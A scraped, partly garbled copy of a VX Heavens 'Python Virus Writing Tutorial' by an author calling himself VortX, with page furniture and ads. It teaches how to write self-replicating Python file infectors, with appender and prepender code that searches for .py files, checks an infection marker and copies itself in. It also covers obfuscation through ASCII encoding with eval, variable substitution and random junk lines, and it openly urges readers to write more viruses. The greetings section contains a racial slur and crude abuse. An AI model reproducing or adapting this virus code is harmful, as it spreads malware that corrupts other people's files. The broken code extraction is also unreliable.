You are on page 1of 4

VortX 'Python Virus Writing Tutorial' (VX heavens)

Sayfa 1 / 4

Virus Writin g Tutorial' (VX heavens) Say fa 1 / 4 V X Heavens Search Bookmark

VX Heavens


Bookmark English

Library Collection Sources Engines Constructors Simulators Utilities Links Donate Forum


Stuxnet Worm 0-Day

See the Stuxnet 0-Day in Action. Visit Immunity Today!

Flowcharts from C/C++ Understand code in less time code-formatting, cross-reference

UML 2.1 with Python

Python Code Engineering using UML and Enterprise Architect


Ads by Google

Python Virus Writing Tutorial



Worms Virus Computer Virus Python Compile Python Code Virus Attack


[Back to index] [Comments




Python Appender


Python Prepender Virus

Virus As ASCII Numbers

Using Variables To Encrypt

• Adding Trash

snizzle p00p niggar


I warn you: This is the first tutorial i have ever written, so i guess it will be a bit shit!


Python is a freeware powerful interpreted programming language available for most operating systems. It is object-oriented, interactive, portable and easy to learn. It is also popular as a CGI scripting language, as its capabilities compare favorably with those of Perl (Not that i code perl) It can be interpreted in a number of operating systems, this makes very good idea for future viruses So erm, lets go!

Python Appender Virus:


Here i will show you a small appender. Appenders are a type of standard file infection along with prepender and the lame overwriters (that no one really likes!) Damnit :p Appending means to write the virus code after the normal code, therefore, the virus is run after the hostcode.



import glob #! from string import * #! Files = glob.glob("*.py") + glob.glob("*.pyw") #! for Files in Files: #!


, victim = open (Files, 'r') #! readvictim = #! if find(readvictim, "-=::Vort3x::=-") == -1: #! victim = open(Files, 'a') #! for code in vCode.readlines(): #! if ("#!") in code: #! vCode.close() #! mycode=(chr(10)+code) #! victim.write(mycode) #!

vCode = open(


'r') #!

mycode ) #! vCode = open ( file 'r' ) #! Here is how it works

Here is how it works:

1. Searched for files (py / pyw) in current directory

2. Looks inside those files to find the infection marker. Note: this virus has 2 markers, ill explain later

3. Finds its own code


VortX 'Python Virus Writing Tutorial' (VX heavens)

Sayfa 2 / 4

4. Opens the uninfected files and writes its code to the end of the normal code.

5. Closes all open files


Why it has 2 markers: Well, the ones you notice the most are the virus code markers, we use these to know what code to infect other files with. The virus will only copy the code that has "#!" at the end of each line, understand? there are other ways of doing this but blah it works Then we have the infection marker "-=::Vort3x::=-" this is so we can see if the file has already been infected. If we dont use any infection marker, bad things will happen!! Such as your virus re-appending to files. :O Then you end up with HUGE files, growing in size each time its executed!

Python Prepender Virus

Prependers are again standard infection types. All this does is add its code to the top of the infected file



import glob from string import * x = glob.glob("*.py") + glob.glob("*.pyw") for x in x:

host = open(x, 'r') hostcode = if find(hostcode, "-=::VortX::=-") == -1:


host = open(x, 'w')

myself = open(

a =


a = a[:find(a, "#VORTX")+num]








We seach for files

Open the files and read its contents

Store the code in a variable

Open Myself (yahahaha Confused)

Read my body and store in a variable

Open the file(s) that havnt been infected (for writing) they are the files that dont have "- =::VortX::=-" inside!

Cound number of characters long the virus code it upto the virus marker "#VORTX"

Store everything into a new variable, write the virus code to the file and append the normal code to the end of the virus code.

Hmm hope that makes sense? its really easy

think about it, play with the code

Virus As ASCII Numbers:

This method is easy and common in scripting languages. We change the code to its ASCII

numbers. Erm apart from spending hours encrypting it

your own encryption tool Made mine in VB, it saved time!!!! Very Happy but i think there is something like that on VX Heaven, if you cant make your own? but you will need to play with the

code a bit to make it work in python.

its easy Thats why its a good idea to make








VortX 'Python Virus Writing Tutorial' (VX heavens)

Sayfa 3 / 4


This code has the "Raw_input" command (used for asking user input) but "print" neva seems to

work :/ Anywayz, its impossible to read this or know what it is unless you decrypt it all. the code uses a command called "eval" eval is a function which evaluates a string as though it were an

expression and returns a result, we use it to run commands

Using Variables To Encrypt:

this is used alot in encryption!

Setting your own variable for each character (set of characters)



aa="pu" bb="aw" cc="t(" dd="r" ee="_in" ff="he" hq="erz"


gg="ll" yu="VX"



Nothing much to say about that, its another encryption.

Adding Trash:


It adds random trash code in each line at a random lengh. Hmm i hate to say it but this code is pretty lame! it does not add its code in random area's But i think it gives a good idea of poly in python!



import glob #! import random #! from string import * #! trash = 'abcdefghijklmnopqrstuvwxyz' #! lengh = random.randrange(10, 20) #! Files = glob.glob("*.py") + glob.glob("*.pyw") #! for Files in Files: #!

vCode = open(

, file

'r') #!

victim = open (Files, 'r') #! readvictim = #! if find(readvictim, "-=::Vort3x::=-") == -1: #! victim = open(Files, 'a') #! for code in vCode.readlines(): #! if ("#!") in code: #! vCode.close() #! mycode=(chr(10)+code) #! victim.write("#"+join(random.sample(trash, lengh))+mycode) #!

Yokay, ill explain

First we import the "Random module"

Then we set some random characters / numbers, into the "Trash" variable

Then we set the lengh of the random trash (the lengh is also random for 10 - 20)

Then we write our virus code to the host.


VortX 'Python Virus Writing Tutorial' (VX heavens)

Sayfa 4 / 4

Then we put a comment marker for the trash (bcoz trash is not supposed to

Then we put a comment marker for the trash (bcoz trash is not supposed to be executed!) we space each line in the infected file and add random characters a random lengh from the trash variable into that line, please understand! its not hard

Its very very easy i think! It helps if you learn a little python first befor you start bitching about not understanding the code because im not about to answer emails asking me what each and every line does! im busy with trying to get into a college :/

snizzle p00p niggar:

Hmmm i have been typing this out for almost 2 hours, so, i dont really want to say much more But, i think Python is a cool language, there is a lot to be done yet. I'd like to see more python viruses lazy arse bastards! I should have done more, but only today i started learning python again after almost 3 months! :p Please tell me about any bugs in my code (yea yea!)

Big huge YOUR THE BEST to SPTH my idol! thx for all the help!!!!!!

and yes

im annoying!


for being a good friend



She;s cool lolz, i still want ur number


for allowing me in DCA chan, not that i often go there :/


For helping me for some time.


he;s got everything

worship him thnx for your sources



Lush graphics for my desktop thank me for all the girls you bastard >


for hosting my little scripts


for hosting this tutorial *havnt asked yet* but he WILL *Gets the


Fucking cock sucker!!!!!


for being a friend awwww we are all waitng for your script! Female


where the fuck are you? wanted to talk to me, next day ur GONE! :/


haha Very Happy


did you ENJOY sending porn from MY account!!! wrong time of the month

And others

that im afraid to list :X like bliss but he sux so who cares :p

Contact: STFU

list :X like bliss but he sux so who cares :p Contact: STFU [ Back to

[Back to index] [Comments


Ads by Google

Virus Virus

Virus Code

Cert Virus

Python 1.5 2

Virus Nimda

Virus Virus Virus Code Cert Virus Python 1.5 2 Virus Nimda friends 15.11.2010